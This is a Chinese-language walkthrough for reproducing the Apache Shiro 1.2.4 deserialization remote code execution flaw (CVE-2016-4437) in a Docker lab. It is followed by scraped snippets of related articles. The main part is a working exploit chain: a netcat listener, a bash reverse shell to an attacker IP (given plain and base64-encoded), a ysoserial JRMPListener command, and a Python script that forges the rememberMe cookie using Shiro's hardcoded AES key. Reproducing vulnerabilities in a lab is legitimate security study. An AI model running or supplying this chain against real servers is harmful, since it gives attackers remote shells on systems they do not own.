Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

影响版本:

Apache Shiro <= 1.2.4

原因分析:

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 >  Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

环境搭建:

安装docker环境,方法自行百度。

下载镜像

docker pull medicean/vulapps:s_shiro_1

直接运行镜像,将docker的8080端口映射到本地的 8080上

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

获取复现需要用到的ysoserial工具

若无mvn则自行下载安装

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件

 

浏览器访问,出现以下页面则证明环境搭建成功。

http://目标IP:8080

漏洞利用,在攻击机上运行nc 监听1234端口

nc -l -p 1234

反弹shell指令

bash -i >& /dev/tcp/攻击者IP/1234 0>&1

将指令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 转换成加密后的指令

运行指令(通过 ysoserial-0.0.6-SNAPSHOT-all.jar 监听 6666 端口并执行反弹shell命令)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}‘

伪造cookie内容

python shiro.py 攻击者IP:攻击者监听的java端口

POC

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.6-SNAPSHOT-all.jar‘, ‘JRMPClient‘, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == ‘__main__‘:
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

前台登录,注意需要勾选Remember Me ,截获数据包(判断:将cookie改为 rememberMe=1 发包,响应包中有 rememberMe=deleteMe 一般就是Apache shiro代码搭建的站点)

使用生成的payload,替换请求中的cookie信息

查看java侦听接口,nc侦听接口并成功执行相关命令。

原文地址:https://www.cnblogs.com/panisme/p/12552838.html

时间: 2024-10-08 10:33:22

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现的相关文章

6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE-2017-12149 ),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码. 漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大. 0x01. 漏洞复现 1). 环境准备 JBOSS 下载地址:http://download.jboss.org/jbossas

PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现

前言 最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温.之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了! 预备知识 https://www.cnblogs.com/xhds/p/12233720.html PHP反序列

Apache Shiro 反序列化RCE漏洞

漏洞介绍 漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 工具下载 git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests

应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段中,可以RCE 漏洞应急 来到现场后,发现已经升级了,漏洞确认修复完成,只能查看以前的攻击痕迹. 查看账号情况 首先查看账户文件/etc/passwd,修改时间和内容没有什么问题 stat /etc/passwd cat /etc/passwd 查看文件情况 查看最近修改过的文件没看到特殊异常 ls

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

小白审计JACKSON反序列化漏洞

1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; import org.springframework.util.FileCopyUtils; import java.io.ByteArrayOutputStream; import java.io.File

Weblogic反序列化漏洞补丁更新解决方案

第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉项目里的 "org/apache/commons/collections/functors/InvokerTransformer.class"文件. ObjectInputStream类为JRE的原生类,InvokerTransformer.class为weblogic基础包中的类,对上 述两个类进行修改或删除,实在无法保证对业务没有影响.如果使用上述

java反序列化漏洞原理研习

零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!! 参考文档:感谢所有参考文献的作者: 1.https://www.cnblogs.com/bencakes/p/6139477.html 2.https://www.cnblogs.com/ssoo